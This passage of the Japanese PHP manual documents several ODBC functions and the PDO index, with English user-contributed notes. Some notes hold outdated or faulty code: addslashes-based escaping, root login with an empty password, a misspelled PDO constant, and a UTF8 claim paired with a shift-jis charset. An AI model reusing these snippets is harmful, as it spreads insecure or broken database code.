この関数により特定の接続またはクエリー結果に関する ODBC オプションを変更することが可能となります。この関数は、気まぐれな ODBC ドライバの問題に対処する際の道具として作成されたものです。自分が ODBC プログラマであり、様々なオプションが有する効果を理解している場合にのみこの関数を使用するべきでしょう。 使用可能な全てのオプションおよび値を理解するためには、良い ODBC リファレンスが必要です。ドライバーのバージョンが違うと、 サポートされるオプションも異なります。

この関数の効果は ODBC ドライバに依存する可能性があるので、 一般に公開するスクリプトでは、この関数の使用は避けましょう。 また、いくつかの ODBC オプションはこの関数では利用できません。 それは、これらを接続の確立またはクエリの準備の前に設定する必要があるからです。 しかし、特定の業務において自分の上司が商用製品の使用を指示しなかったために PHP を使用する場合、このことは実際的な問題となります。

パラメータ

odbc

設定を変更する接続 ID または 結果 ID。SQLSetConnectOption() の場合、これは接続 ID です。 SQLSetStmtOption() の場合、これは結果 ID です。

which

使用する ODBC 関数。 値は SQLSetConnectOption() の場合 1、 SQLSetStmtOption() の場合 2 である必要があります。

option

設定するオプション。

value

指定した option の値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 odbc_setoption() の例

<?php
// 1. SQLSetConnectOption() のオプション 102 は SQL_AUTOCOMMIT です。
//    SQL_AUTOCOMMIT の値 1 は SQL_AUTOCOMMIT_ON です。
//    この例は odbc_autocommit($conn, true); と同じ結果
//    となります。

odbc_setoption($conn, 1, 102, 1);

// 2. SQLSetStmtOption() のオプション 0 は SQL_QUERY_TIMEOUT です。
//    この例は 30 秒後に時間切れとなるクエリーを設定します。

$result = odbc_prepare($conn, $sql);
odbc_setoption($result, 2, 0, 30);
odbc_execute($result);
?>

User Contributed Notes

egil at wp dot pl 19-Jan-2009 07:42
Some options for Microsoft SQL Server ODBC:
1 - (SQL_MAX_ROWS) show top x rows
6 - (SQL_CURSOR_TYPE) zmiana kursora - ma dzia?a? dopiero w PHP 5.3

You can "translate" constant names (found on e.g. Microsoft website) to appropriate values using this page:
http://www.freepascal.org/docs-html/packages/odbcsql/index-2.html

BTW. If anyone is banging his head about "cursor type changed" warning while using execute with ORDER BY clause, then just use exec for now (remember to addslashes for yourself). In PHP 5.3 a Bug #43668 will be fixed and it will allow you to change a cursor type to SQL_CUR_USE_ODBC.

Note that you could also try to select a cursor type in odbc_connect, but that didn't work for me (much more problems appeared then it solved).


特殊カラムを取得する

  • ≪ odbc_setoption
  • odbc_statistics ≫
  • PHP Manual
  • ODBC 関数
  • 特殊カラムを取得する

odbc_specialcolumns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_specialcolumns — 特殊カラムを取得する

説明

odbc_specialcolumns ( resource $odbc , int $type , string|null $catalog , string $schema , string $table , int $scope , int $nullable ) : resource|false

テーブルのレコードを特定する最適なカラムの組合せ、 またはレコードの値がトランザクションにより更新される際に自動的に更新されるカラムを取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

type
引数 type が SQL_BEST_ROWID の場合、 odbc_specialcolumns() はテーブルの各レコードを特定するカラムを返します。 引数 type が SQL_ROWVER の場合、 odbc_specialcolumns() はカラムから値を取得する ことにより指定したテーブルでレコードを特定できる最適なカラムまたはカラムの組を返します。
catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。

table

テーブル。

scope

スコープ。これは結果セットを並べかえる際に使用します。 SQL_SCOPE_CURROW, SQL_SCOPE_TRANSACTION, SQL_SCOPE_SESSION のいずれかを指定します。

nullable

NULL を持つ特別なカラムを返却するかどうかを指定します。 SQL_NO_NULLS, SQL_NULLABLE のいずれかを指定します。

返り値

ODBC 結果 ID または失敗した場合に false を返します。

結果セットのカラムは次のようになります。

  • SCOPE
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • PSEUDO_COLUMN
ドライバは追加のカラムを返すことが出来ます。

結果セットは SCOPE でソートされます。

参考

  • odbc_tables() - 指定したデータソースに保存されたテーブルの名前のリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


テーブルに関する統計情報を取得する

  • ≪ odbc_specialcolumns
  • odbc_tableprivileges ≫
  • PHP Manual
  • ODBC 関数
  • テーブルに関する統計情報を取得する

odbc_statistics

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_statistics — テーブルに関する統計情報を取得する

説明

odbc_statistics ( resource $odbc , string|null $catalog , string $schema , string $table , int $unique , int $accuracy ) : resource|false

テーブルおよびインデックスに関する統計情報を取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。

table

テーブル名。

unique

インデックスのタイプ。 SQL_INDEX_UNIQUE, SQL_INDEX_ALL のいずれかを指定します。

accuracy

SQL_ENSURE, SQL_QUICK のいずれかを指定します。 後者は、サーバで利用できる場合に限り、CARDINALITY と PAGES をドライバが取得するように要求します。

返り値

ODBC 結果 ID を返します。失敗した場合に false を返します。

結果セットのカラムは次のようになります。

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • NON_UNIQUE
  • INDEX_QUALIFIER
  • INDEX_NAME
  • TYPE
  • ORDINAL_POSITION
  • COLUMN_NAME
  • ASC_OR_DESC
  • CARDINALITY
  • PAGES
  • FILTER_CONDITION
ドライバは追加のカラムを返すことが出来ます。

結果セットは NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME, ORDINAL_POSITION でソートされます。

例

例1 テーブルの統計情報を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$statistics = odbc_statistics($conn, 'TutorialDB', 'dbo', 'TEST', SQL_INDEX_UNIQUE, SQL_QUICK);
while (($row = odbc_fetch_array($statistics))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [NON_UNIQUE] =>
    [INDEX_QUALIFIER] =>
    [INDEX_NAME] =>
    [TYPE] => 0
    [ORDINAL_POSITION] =>
    [COLUMN_NAME] =>
    [ASC_OR_DESC] =>
    [CARDINALITY] => 15
    [PAGES] => 3
    [FILTER_CONDITION] =>
)

参考

  • odbc_tables() - 指定したデータソースに保存されたテーブルの名前のリストを取得する

User Contributed Notes

eion at bigfoot dot com 19-Apr-2011 03:36
A couple of the function parameters are undefined:

unique - determines whether you want to return just unique indexes or all indexes.  Use SQL_INDEX_UNIQUE or SQL_INDEX_ALL for this parameter

accuracy - whether you wan to return everything there is to know about the table or just what information is readily available.  Use SQL_ENSURE or SQL_QUICK for this parameter

For a bit more info about this function see the ODBC function SQLStatistics() at http://msdn.microsoft.com/en-us/library/ms711022(v=vs.85).aspx


各テーブルのリストおよび関連する権限のリストを取得する

  • ≪ odbc_statistics
  • odbc_tables ≫
  • PHP Manual
  • ODBC 関数
  • 各テーブルのリストおよび関連する権限のリストを取得する

odbc_tableprivileges

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_tableprivileges — 各テーブルのリストおよび関連する権限のリストを取得する

説明

odbc_tableprivileges ( resource $odbc , string|null $catalog , string $schema , string $table ) : resource|false

指定した範囲にあるテーブルおよび各テーブルに関連する権限のリストを取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

table

名前。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

返り値

ODBC 結果 ID を返します。失敗した場合に false を返します。

結果セットのカラムは次のようになります。

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE
ドライバは追加のカラムを返すことが出来ます。

結果セットは TABLE_CAT, TABLE_SCHEM, TABLE_NAME, PRIVILEGE, GRANTEE でソートされます。

例

例1 テーブルの権限を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$privileges = odbc_tableprivileges($conn, 'SalesOrders', 'dbo', 'Orders');
while (($row = odbc_fetch_array($privileges))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [TABLE_CAT] => SalesOrders
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => Orders
    [GRANTOR] => dbo
    [GRANTEE] => dbo
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)

参考

  • odbc_tables() - 指定したデータソースに保存されたテーブルの名前のリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したデータソースに保存されたテーブルの名前のリストを取得する

  • ≪ odbc_tableprivileges
  • PDO ≫
  • PHP Manual
  • ODBC 関数
  • 指定したデータソースに保存されたテーブルの名前のリストを取得する

odbc_tables

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_tables — 指定したデータソースに保存されたテーブルの名前のリストを取得する

説明

odbc_tables ( resource $odbc , string|null $catalog = null , string|null $schema = null , string|null $table = null , string|null $types = null ) : resource|false

指定した範囲の全てのテーブルリストを得ます。

限定子、所有者、テーブル名を数えるために、 catalog、schema、 table、table_type について以下のような特別な記号が使用可能です。

  • catalog がパーセント記号 (%) のみで、 schema および table が空文字列であった場合、結果にはそのデータソースに関する 有効な限定子のリスト (null を有する TABLE_QUALIFIER カラム以外の 全てのカラム)が含まれます。
  • schema がパーセント記号 (%) のみで、 catalog および table が空文字列の場合、結果にはその データソースに関する有効な所有者のリスト (null を有する TABLE_OWNER カラム以外の全てのカラム) が含まれます。
  • table_type がパーセント記号 (%) のみで、 catalog、schema、 table が空文字列の場合、結果にはそのデータソースに 関する有効なテーブル型のリスト (null を有する TABLE_TYPE カラム以外の全てのカラム) が含まれます。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

table

名前。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

types

table_type が空の文字列ではない場合、検索する型に ついてカンマで区切った値のリストを指定する必要があります。 各値は、シングルクオート(')で括るかまたは括らない形で指定可能です。 例えば、'TABLE','VIEW' または TABLE, VIEW となります。 データソースが指定したテーブル型をサポートしていない場合、 odbc_tables() はその型についていかなる結果も 返しません。

返り値

情報を含んでいる ODBC 結果 ID を返します。 失敗した場合に false を返します。

結果セットのカラムは次のようになります。

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • TABLE_TYPE
  • REMARKS
ドライバは追加のカラムを返すことが出来ます。

結果セットは TABLE_TYPE, TABLE_CAT, TABLE_SCHEM, TABLE_NAME でソートされます。

変更履歴

バージョン | 説明
8.0.0 | schema, table, types は、nullable になりました。

例

例1 カタログのテーブル一覧を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$tables = odbc_tables($conn, 'SalesOrders', 'dbo', '%', 'TABLE');
while (($row = odbc_fetch_array($tables))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [TABLE_CAT] => SalesOrders
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => Orders
    [TABLE_TYPE] => TABLE
    [REMARKS] =>
)

参考

  • odbc_tableprivileges() - 各テーブルのリストおよび関連する権限のリストを取得する
  • odbc_columns() - 指定したテーブルにあるカラム名のリストを取得する
  • odbc_specialcolumns() - 特殊カラムを取得する
  • odbc_statistics() - テーブルに関する統計情報を取得する
  • odbc_procedures() - 指定したデータソースに保存されているプロシージャのリストを取得する

User Contributed Notes

narcomweb at wanadoo dot fr 05-Nov-2005 09:33
Here a Code for listing Table names
<?php
$dbh = odbc_connect($dsn, $user, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result)){
     if(odbc_result($result,"TABLE_TYPE")=="TABLE")
       echo"<br>".odbc_result($result,"TABLE_NAME");

   }
?>
You don't have views or System tables with.
Only simple tables in your database.
pmains at ux dot com 22-Jul-2005 07:39
This probably works for a variety of formats, but if you want a list of *just* the table names from an SQL dsn source (I'm using MSSQL), here's the code.

<?php

# ... assign $dsn, $uid, & $pwd ...

$dbh = odbc_connect($dsn, $uid, $pwd);

    $result = odbc_tables($dbh);

    $tables = array();
    while (odbc_fetch_row($result))
        array_push($tables, odbc_result($result, "TABLE_NAME") );

    foreach( $tables as $t ) {
        echo "$t\n";
    }

?>
iggvopvantoodlwin 01-Mar-2004 07:42
With regard to the note made on results not working.
Test the database with the easy:

odbc_result_all(odbc_tables($db));

$db is obviously a connected batadase. Then start to experiment:

if(!$odbcr=odbc_tables($db,"udb","", "%", "'TABLE'"))

"udb" is the DNS - aka 'name of my ODBC database in the Windows ODBC thingamy'. In result_all the full path was shown but I just used the name I assigned; either should work.

The second parameter "" is listed by result_all as "TABLE_SCHEM" and all items were "NULL", so I have put "".

The third parameter is "%". According to result_all this col is "TABLE_NAME", so I could have put the name of one of my tables, i.e. "Address".

In my case I have an Access database setup with several tables. In ODBC I have created a link. Running the all on everything result above shows a set of system tables which I do not need to know about at this point so I look at the result and then build my new table check using the "TABLE" string as the tables I am interested in are listed as "TABLE" under their "TABLE_TYPE" column.
liquidicee at hotmail dot com 10-Mar-2001 08:02
Here's how to get a list of all the tables in your database.. with an actual example of how its done and how to get the results.. and you don't need to put in schema and all that other crap

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
if (odbc_result($tablelist, 4) == "TABLE")
echo odbc_result($tablelist, 3) ."<br>";
}
?>

to understand what the above is doing,
use odbc_result_all($tablelist); this will show you EVERYTHING returned by odbc_tables() then you can look through it and see better how odbc_tables() works and what exactly it returns in the string to get a better idea on how to deal with it.
it would have saved me alot of time if i would have just taken a look at the full string returned by odbc_tables(), so i suggest you take the minute or two and look... here is an example of how to do it..which would have been helpful for me ;x.

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
echo odbc_result_all($tablelist);
}
?>

hopefully this will help some people.. i have alot more to add about this but no time :(
so again hope this helps.
Liquidice


PHP Data Objects

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 接続、および接続の管理
  • トランザクションおよび自動コミット
  • プリペアドステートメントおよびストアドプロシージャ
  • エラーおよびエラー処理
  • ラージオブジェクト (LOB)
  • PDO — PDO クラス
    • PDO::beginTransaction — トランザクションを開始する
    • PDO::commit — トランザクションをコミットする
    • PDO::__construct — データベースへの接続を表す PDO インスタンスを生成する
    • PDO::errorCode — データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する
    • PDO::errorInfo — データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する
    • PDO::exec — SQL ステートメントを実行し、作用した行数を返す
    • PDO::getAttribute — データベース接続の属性を取得する
    • PDO::getAvailableDrivers — 利用可能な PDO ドライバの配列を返す
    • PDO::inTransaction — トランザクション内かどうかを調べる
    • PDO::lastInsertId — 最後に挿入された行の ID あるいはシーケンスの値を返す
    • PDO::prepare — 文を実行する準備を行い、文オブジェクトを返す
    • PDO::query — SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す
    • PDO::quote — クエリ用の文字列をクオートする
    • PDO::rollBack — トランザクションをロールバックする
    • PDO::setAttribute — 属性を設定する
  • PDOStatement — PDOStatement クラス
    • PDOStatement::bindColumn — カラムを PHP 変数にバインドする
    • PDOStatement::bindParam — 指定された変数名にパラメータをバインドする
    • PDOStatement::bindValue — 値をパラメータにバインドする
    • PDOStatement::closeCursor — カーソルを閉じてステートメントを再実行できるようにする
    • PDOStatement::columnCount — 結果セット中のカラム数を返す
    • PDOStatement::debugDumpParams — SQL プリペアドコマンドを出力する
    • PDOStatement::errorCode — 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する
    • PDOStatement::errorInfo — 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する
    • PDOStatement::execute — プリペアドステートメントを実行する
    • PDOStatement::fetch — 結果セットから次の行を取得する
    • PDOStatement::fetchAll — 全ての結果行を含む配列を返す
    • PDOStatement::fetchColumn — 結果セットの次行から単一カラムを返す
    • PDOStatement::fetchObject — 次の行を取得し、それをオブジェクトとして返す
    • PDOStatement::getAttribute — 文の属性を取得する
    • PDOStatement::getColumnMeta — 結果セットのカラムに対するメタデータを返す
    • PDOStatement::nextRowset — 複数の行セットを返す文ハンドラで次の行セットに移動する
    • PDOStatement::rowCount — 直近の SQL ステートメントによって作用した行数を返す
    • PDOStatement::setAttribute — 文の属性を設定する
    • PDOStatement::setFetchMode — この文に対するデフォルトのフェッチモードを設定する
  • PDOException — PDOException クラス
  • PDO ドライバ
    • CUBRID (PDO) — CUBRID 関数 (PDO_CUBRID)
    • MS SQL Server (PDO) — Microsoft SQL Server および Sybase 関数 (PDO_DBLIB)
    • Firebird (PDO) — Firebird 関数 (PDO_FIREBIRD)
    • IBM (PDO) — IBM 関数 (PDO_IBM)
    • Informix (PDO) — Informix 関数 (PDO_INFORMIX)
    • MySQL (PDO) — MySQL 関数 (PDO_MYSQL)
    • MS SQL Server (PDO) — Microsoft SQL Server 関数 (PDO_SQLSRV)
    • Oracle (PDO) — Oracle 関数 (PDO_OCI)
    • ODBC and DB2 (PDO) — ODBC および DB2 関数 (PDO_ODBC)
    • PostgreSQL (PDO) — PostgreSQL 関数 (PDO_PGSQL)
    • SQLite (PDO) — SQLite 関数 (PDO_SQLITE)

User Contributed Notes

wiserufferto at gmail dot com 17-Feb-2021 02:12
This is a little late... but I'm old and slow.......
Regarding Extending PDOStatement and PDO I found that sending the PDOExtended class by reference helps:
    In the constructor after parent::__construct() :
$this->setAttribute(\PDO::ATTR_STATEMENT_CLASS,array('PDOStatementExtended', [&$this]));}

And in
class PDOStatementExtended extends \PDOStatement
{

  protected function __construct
  (
    \PDO &$PDO,
   )
matthew at button-mashers dot net 07-May-2014 11:31
When using prepared statements there is no official PDO feature to show you the final query string that is submitted to a database complete with the parameters you passed.

Use this simple function for debugging. The values you are passing may not be what you expect.

<?php
//Sample query string
$query = "UPDATE users SET name = :user_name WHERE id = :user_id";

//Sample parameters
$params = [':user_name' => 'foobear', ':user_id' => 1001];

function build_pdo_query($string, $array) {
    //Get the key lengths for each of the array elements.
    $keys = array_map('strlen', array_keys($array));

    //Sort the array by string length so the longest strings are replaced first.
    array_multisort($keys, SORT_DESC, $array);

    foreach($array as $k => $v) {
        //Quote non-numeric values.
        $replacement = is_numeric($v) ? $v : "'{$v}'";

        //Replace the needle.
        $string = str_replace($k, $replacement, $string);
    }

    return $string;
}

echo build_pdo_query($query, $params);    //UPDATE users SET name = 'foobear' WHERE id = 1001
?>
Sbastien Gourmand 08-Jul-2013 10:19
Merge the prepare() and execute() in one function like a sprintf().
And like sprintf, I choose to use unnamed args (?) ;)

you could still use old insecure query() ( not prepared ) with renamed function :)

<?php
class MyPDO extends PDO{

    const PARAM_host='localhost';
    const PARAM_port='3306';
    const PARAM_db_name='test';
    const PARAM_user='root';
    const PARAM_db_pass='';

    public function __construct($options=null){
        parent::__construct('mysql:host='.MyPDO::PARAM_host.';port='.MyPDO::PARAM_port.';dbname='.MyPDO::PARAM_db_name,
MyPDO::PARAM_user,
MyPDO::PARAM_db_pass,$options);
    }

    public function query($query){ //secured query with prepare and execute
        $args = func_get_args();
        array_shift($args); //first element is not an argument but the query itself, should removed

        $reponse = parent::prepare($query);
        $reponse->execute($args);
        return $reponse;

    }

    public function insecureQuery($query){ //you can use the old query at your risk ;) and should use secure quote() function with it
        return parent::query($query);
    }

}

$db = new MyPDO();
$db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);

$t1 = isset($_GET["t1"])?$_GET["t1"]:1; // need to be securised for injonction
$t2 = isset($_GET["t2"])?$_GET["t2"]:2; // need to be securised for injonction
$t3 = isset($_GET["t3"])?$_GET["t3"]:3; // need to be securised for injonction

$ret = $db->query("SELECT * FROM table_test WHERE t1=? AND t2=? AND t3=?",$t1,$t2,$t3);
//$ret = $db->insecureQuery("SELECT * FROM table_test WHERE t1=".$db->quote($t1));

while ($o = $ret->fetch())
{
    echo $o->nom.PHP_EOL;
}
?>
lkmorlan at uwaterloo dot ca 04-Jan-2011 07:25
You may also have to edit /etc/freetds.conf. Make sure the TDS version is recent, e.g., "tds version = 8.0".
lkmorlan at uwaterloo dot ca 29-Jun-2010 09:38
This works to get UTF8 data from MSSQL:

<?php
$db = new PDO('dblib:host=your_hostname;dbname=your_db;CHARSET=shift-jis', $user, $pass);
?>
jose at thezcompany dot com 17-Feb-2010 12:39
I ran into a real annoying bug/feature when using PDO for SQL statements that use SQL user variables.  I was working on some logic for a Geo Proximity Search for an events-venues system (sharing is caring so it's below) and it just wouldn't take and the errors returned were garbage. The SQL was sound as I verified it.  So if you're having this issue, I hope this helps.  What you need to do is break apart the query into two...

From:
<?php
$sql="set @latitude=:lat;
set @longitude=:lon;
set @radius=20;

set @lng_min = @longitude - @radius/abs(cos(radians(@latitude))*69);
set @lng_max = @longitude + @radius/abs(cos(radians(@latitude))*69);
set @lat_min = @latitude - (@radius/69);
set @lat_max = @latitude + (@radius/69);

SELECT *,
3956 * 2 * ASIN(SQRT(POWER(SIN((@latitude - ABS(venue_lat)) * PI()/180 / 2),2) + COS(@latitude * PI()/180) * COS(ABS(venue_lat) * PI()/180) * POWER(SIN((@longitude - venue_lon) * PI()/180 / 2),2))) AS distance
FROM events LEFT JOIN venues ON venues.venue_id = events.venue_fk
WHERE (venue_lon BETWEEN @lng_min AND @lng_max)
AND (venue_lat BETWEEN @lat_min and @lat_max)
AND events.event_date >= CURDATE()
AND events.event_time >= CURTIME()
ORDER BY distance DESC;";

$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':lat', $lat, PDO::PARAM_STR);
$stmt->bindParam(':lon', $lon, PDO::PARAM_STR);
$stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
$stmt->bindParam(':max', $max, PDO::PARAM_INT);
$stmt->execute();
?>

To:
<?php
$sql = "SET @latitude=:lat;
SET @longitude=:lon;
SET @radius=20;
SET @lng_min=@longitude - @radius/abs(cos(radians(@latitude))*69);
SET @lng_max=@longitude + @radius/abs(cos(radians(@latitude))*69);
SET @lat_min=@latitude - (@radius/69);
SET @lat_max=@latitude + (@radius/69);";

$this->_db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':lat', $lat, PDO::PARAM_STR);
$stmt->bindParam(':lon', $lon, PDO::PARAM_STR);
$stmt->execute();

$sql = "SELECT *,
(3956 * 2 * ASIN(SQRT(POWER(SIN((@latitude - ABS(venue_lat)) * PI()/180 / 2),2) + COS(@latitude * PI()/180) * COS(ABS(venue_lat) * PI()/180) * POWER(SIN((@longitude - venue_lon) * PI()/180 / 2),2)))) AS distance
FROM events LEFT JOIN venues ON venues.venue_id = events.venue_fk
WHERE (venue_lon BETWEEN @lng_min AND @lng_max)
AND (venue_lat BETWEEN @lat_min and @lat_max)
AND events.event_date >= CURDATE()
AND events.event_time >= CURTIME()
ORDER BY distance DESC
LIMIT :offset,:max;";

$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
$stmt->bindParam(':max', $max, PDO::PARAM_INT);
$stmt->execute();
?>

Hope this helps anyone out there!
paul dot maddox at gmail dot com 27-Aug-2009 05:54
I decided to create a singleton wrapper for PDO that ensures only one instance is ever used.
It uses PHP 5.3.0's __callStatic functionality to pass on statically called methods to PDO.

This means you can just call it statically from anywhere without having to initiate or define the object.

Usage examples:

<?php
DB::exec("DELETE FROM Blah");

foreach( DB::query("SELECT * FROM Blah") as $row){
        print_r($row);
}
?>

Code:

<?php

class DB {

    private static $objInstance;

    /*
     * Class Constructor - Create a new database connection if one doesn't exist
     * Set to private so no-one can create a new instance via ' = new DB();'
     */
    private function __construct() {}

    /*
     * Like the constructor, we make __clone private so nobody can clone the instance
     */
    private function __clone() {}

    /*
     * Returns DB instance or create initial connection
     * @param
     * @return $objInstance;
     */
    public static function getInstance(  ) {

        if(!self::$objInstance){
            self::$objInstance = new PDO(DB_DSN, DB_USER, DB_PASS);
            self::$objInstance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        }

        return self::$objInstance;

    } # end method

    /*
     * Passes on any static calls to this class onto the singleton PDO instance
     * @param $chrMethod, $arrArguments
     * @return $mix
     */
    final public static function __callStatic( $chrMethod, $arrArguments ) {

        $objInstance = self::getInstance();

        return call_user_func_array(array($objInstance, $chrMethod), $arrArguments);

    } # end method

}
?>
ob.php from daevel.fr 30-Dec-2007 12:57
Be careful with PDO extends : if you use the smileaf's example, PDO will close the connection only at the end of the script, because of the "array( $this )" parameter used with the setAttribute() method.

Instead, I use only this :
    $this->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( $this->statementClassName, array() ) );

And in prepare() and query() method you can populate the "dbh" if you really need it.
neonmandk at gmail dot com 10-Dec-2007 04:29
If you will make a OBJ row from PDO you can use this eg.

$resKampange = $dbc->prepare( "SELECT * FROM Table LIMIT 1" );
$resKampange->execute();
$rowKampange = $resKampange->fetch( PDO::FETCH_OB );

echo $rowKampange->felt1;

Good lock :0)
nospam dot list at unclassified dot de 13-Nov-2007 04:24
When using persistent connections, pay attention not to leave the database connection in some kind of locked state. This can happen when you start a transaction by hand (i.e. not through the PDO->beginTransaction() method), possibly even acquire some locks (e.g. with "SELECT ... FOR UPDATE", "LOCK TABLES ..." or in SQLite with "BEGIN EXCLUSIVE TRANSACTION") and then your PHP script ends with a fatal error, unhandled exception or under other circumstances that lead to an unclean exit.

To use that database again, it may then be necessary to disable the persistence attribute to get a new database connection or restart the web server. (Persistent connections should not work with a PHP-CGI anyway.) It does not work (tested with PHP 5.2.3/WinXP and SQLite) to close a persistent database connection - it will not actually be closed but instead returned to PDO's connection pool.

The only thing you can do to resolve the lock as a regular user (I imagine) is to try and get all of your persistent connections in a single script and unlock the tables resp. end the transactions with the appropriate SQL statements ("UNLOCK TABLES" in MySQL, "ROLLBACK" for transactions). Should they fail, there is no problem, but one or some of them might succeed and thereby resolve your locking problem.
Konstantin at Tokar dot ru 16-Oct-2007 08:34
Example 5:
<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
.......
} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

We must change the last two lines to catch the error connecting to the database:

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
  $dbh->rollBack();
}
?>
anton dot clarke at sonikmedia dot com 02-Sep-2007 12:12
Not all PDO drivers return a LOB as a file stream; mysql 5 is one example. Therefore when streaming a mime typed object from the database you cannot use fpassthru.

The following is a modified example that works with a mysql database. (Tested FreeBSD v 6.2 with mysql 5.0.45 and php 5.2.3)

<?php
ob_start();
$db = new PDO('mysql:host=localhost;dbname=<SOMEDB>', '<USERNAME>', 'PASSWORD');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);
ob_clean();
header("Content-Type: $type");
echo $lob; // fpassthru reports an error that $lob is not a stream so echo is used in place.
ob_end_flush();
?>

Please note the inclusion of buffer control. I only needed this when using 'include','include_once','require', or 'require_once' - my feeling is there is a subtle issue with those options as even an empty include file caused a buffer issue for me. === AND YES, I DID CHECK MY INCLUDE FILES DID NOT HAVE SPURIOUS WHITESPACE ETC OUTSIDE THE <?php ?> DELIMITERS! ===
bart at mediawave dot nl 23-May-2007 07:57
It seems MySQL doesn't support scrollable cursors. So unfortunately PDO::CURSOR_SCROLL wont work.
djlopez at gmx dot de 12-Mar-2007 05:04
Note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE ? < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

Parameters cannot be applied on column names!!
smileaf at smileaf dot org 01-Mar-2007 10:57
If you intend on extending PDOStatement and your using
setAttribute(PDO::ATTR_STATEMENT_CLASS, ...)
you must override the __construct() of your PDOStatement class.
failure to do so will result in an error on any PDO::query() call.
Warning: PDO::query() [function.PDO-query]: SQLSTATE[HY000]: General error: user-supplied statement does not accept constructor arguments

Here is a minimum PDO and PDOStatement class
<?php
class Database extends PDO {
    function __construct($dsn, $username="", $password="", $driver_options=array()) {
        parent::__construct($dsn,$username,$password, $driver_options);
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}
class DBStatement extends PDOStatement {
    public $dbh;
    protected function __construct($dbh) {
        $this->dbh = $dbh;
    }
}
?>
php at moechofe dot com 17-Feb-2007 11:52
Simple example to extends PDO

<?php

class connexion extends PDO
{
  public $query = null;
  public function prepare( $statement, $driver_options = array() )
  {
    $this->query = $statement;
    return parent::prepare( $statement, $driver_options = array() );
  }
  public function last_query()
  {
    return $this->query;
  }
}

class connexion_statement extends PDOStatement
{
  protected $pdo;
  protected function __construct($pdo)
  {
